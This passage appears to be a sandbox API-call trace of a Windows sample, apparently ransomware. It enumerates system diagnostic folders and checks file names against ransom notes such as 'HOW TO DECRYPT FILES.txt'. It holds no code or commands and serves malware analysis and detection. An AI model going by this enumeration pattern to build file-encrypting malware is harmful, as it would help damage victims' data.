(pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\RS_Blockpopups.ps1") returned="RS_Blockpopups.ps1" [0126.607] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.607] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.608] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.608] CloseHandle (hObject=0xffffffff) returned 0 [0126.608] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1072fb3a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1072fb3a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6c87cad, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc77, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_PhishingFilter.ps1", cAlternateFileName="")) returned 1 [0126.608] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.608] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\RS_IESecuritylevels.ps1") returned="RS_IESecuritylevels.ps1" [0126.608] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.608] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.609] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.609] CloseHandle (hObject=0xffffffff) returned 0 [0126.609] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1072fb3a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1072fb3a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6d6c4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x50b, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_Blockpopups.ps1", cAlternateFileName="")) returned 1 [0126.609] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.609] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\RS_PhishingFilter.ps1") returned="RS_PhishingFilter.ps1" [0126.609] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.609] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.610] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.610] CloseHandle (hObject=0xffffffff) returned 0 [0126.610] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1077bdf4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1077bdf4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6d6c4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xbed, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IEsecuritylevels.ps1", cAlternateFileName="")) returned 1 [0126.610] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.610] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\TS_Blockpopups.ps1") returned="TS_Blockpopups.ps1" [0126.610] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.611] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.611] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.611] CloseHandle (hObject=0xffffffff) returned 0 [0126.611] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107a1f51, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107a1f51, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6d9263f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x594, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PhishingFilter.ps1", cAlternateFileName="")) returned 1 [0126.611] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.611] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\TS_IEsecuritylevels.ps1") returned="TS_IEsecuritylevels.ps1" [0126.612] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="C:\\Windows\\diagnostics\\system\\IESecurity\\" [0126.612] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\IESecurity\\") returned="" [0126.613] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.613] CloseHandle (hObject=0xffffffff) returned 0 [0126.613] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x107a1f51, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x107a1f51, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xd6d9263f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x594, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_PhishingFilter.ps1", cAlternateFileName="")) returned 0 [0126.613] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0126.613] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Networking", cAlternateFileName="NETWOR~1")) returned 1 [0126.613] lstrcmpA (lpString1=".", lpString2="Networking") returned -1 [0126.613] lstrcmpA (lpString1="..", lpString2="Networking") returned -1 [0126.613] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\*.*") returned="*.*" [0126.613] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Networking\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0126.623] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.623] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.623] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.623] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.623] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1d1f5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1ce1d1f5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x816e1790, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2605b, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.diagpkg", cAlternateFileName="")) returned 1 [0126.623] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.624] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\*.*") returned="*.*" [0126.624] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.624] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.624] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.624] CloseHandle (hObject=0xffffffff) returned 0 [0126.625] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c9f2bc9, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1c9f2bc9, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x1bb33910, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.625] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.625] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.625] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.625] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.625] CloseHandle (hObject=0xffffffff) returned 0 [0126.626] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.626] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.626] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.626] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\DiagPackage.dll") returned="DiagPackage.dll" [0126.626] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x50156a, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.638] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.638] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.638] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.638] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.638] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.638] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.638] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\*.*") returned="*.*" [0126.638] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" [0126.638] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\") returned="" [0126.639] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.639] CloseHandle (hObject=0xffffffff) returned 0 [0126.639] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x14f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.639] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.639] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\DiagPackage.dll.mui") returned="DiagPackage.dll.mui" [0126.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" [0126.639] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\en-US\\") returned="" [0126.640] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.640] CloseHandle (hObject=0xffffffff) returned 0 [0126.640] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x14f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizationData.psd1", cAlternateFileName="")) returned 0 [0126.640] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.640] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee73615b, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xee73615b, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xee75c2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b7, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="HTInteractiveRes.ps1", cAlternateFileName="")) returned 1 [0126.640] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.640] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\*.*") returned="*.*" [0126.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.641] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.641] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.641] CloseHandle (hObject=0xffffffff) returned 0 [0126.641] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cca0453, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cca0453, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xee7ce6d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x302, dwReserved0=0x0, dwReserved1=0x0, cFileName="InteractiveRes.ps1", cAlternateFileName="")) returned 1 [0126.641] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.641] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\HTInteractiveRes.ps1") returned="HTInteractiveRes.ps1" [0126.641] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.641] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.642] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.642] CloseHandle (hObject=0xffffffff) returned 0 [0126.642] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ccec70d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1ccec70d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeebf8d1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnosticsResolve.ps1", cAlternateFileName="")) returned 1 [0126.642] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.642] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\InteractiveRes.ps1") returned="InteractiveRes.ps1" [0126.642] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.642] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.643] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.643] CloseHandle (hObject=0xffffffff) returned 0 [0126.643] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd1286a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cd1286a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeec1ee79, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5e09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnosticsTroubleshoot.ps1", cAlternateFileName="")) returned 1 [0126.643] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.643] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnosticsTroubleshoot.ps1") returned -1 [0126.643] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnosticsTroubleshoot.ps1") returned -1 [0126.644] lstrcmpiA (lpString1="", lpString2="NetworkDiagnosticsTroubleshoot.ps1") returned -1 [0126.644] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\NetworkDiagnosticsResolve.ps1") returned="NetworkDiagnosticsResolve.ps1" [0126.644] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.644] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.644] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.644] CloseHandle (hObject=0xffffffff) returned 0 [0126.644] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd1286a, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cd1286a, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xeed75ac7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x2bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkDiagnosticsVerify.ps1", cAlternateFileName="")) returned 1 [0126.644] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.644] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NetworkDiagnosticsVerify.ps1") returned -1 [0126.644] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NetworkDiagnosticsVerify.ps1") returned -1 [0126.645] lstrcmpiA (lpString1="", lpString2="NetworkDiagnosticsVerify.ps1") returned -1 [0126.645] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\Networking\\NetworkDiagnosticsTroubleshoot.ps1") returned="NetworkDiagnosticsTroubleshoot.ps1" [0126.645] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\Networking\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\Networking\\") returned="C:\\Windows\\diagnostics\\system\\Networking\\" [0126.645] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\Networking\\") returned="" [0126.645] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.645] CloseHandle (hObject=0xffffffff) returned 0 [0126.645] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cd389c7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x1cd389c7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf1743af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x237, dwReserved0=0x0, dwReserved1=0x0, cFileName="StartDPSService.ps1", cAlternateFileName="")) returned 1 [0126.645] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.645] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ 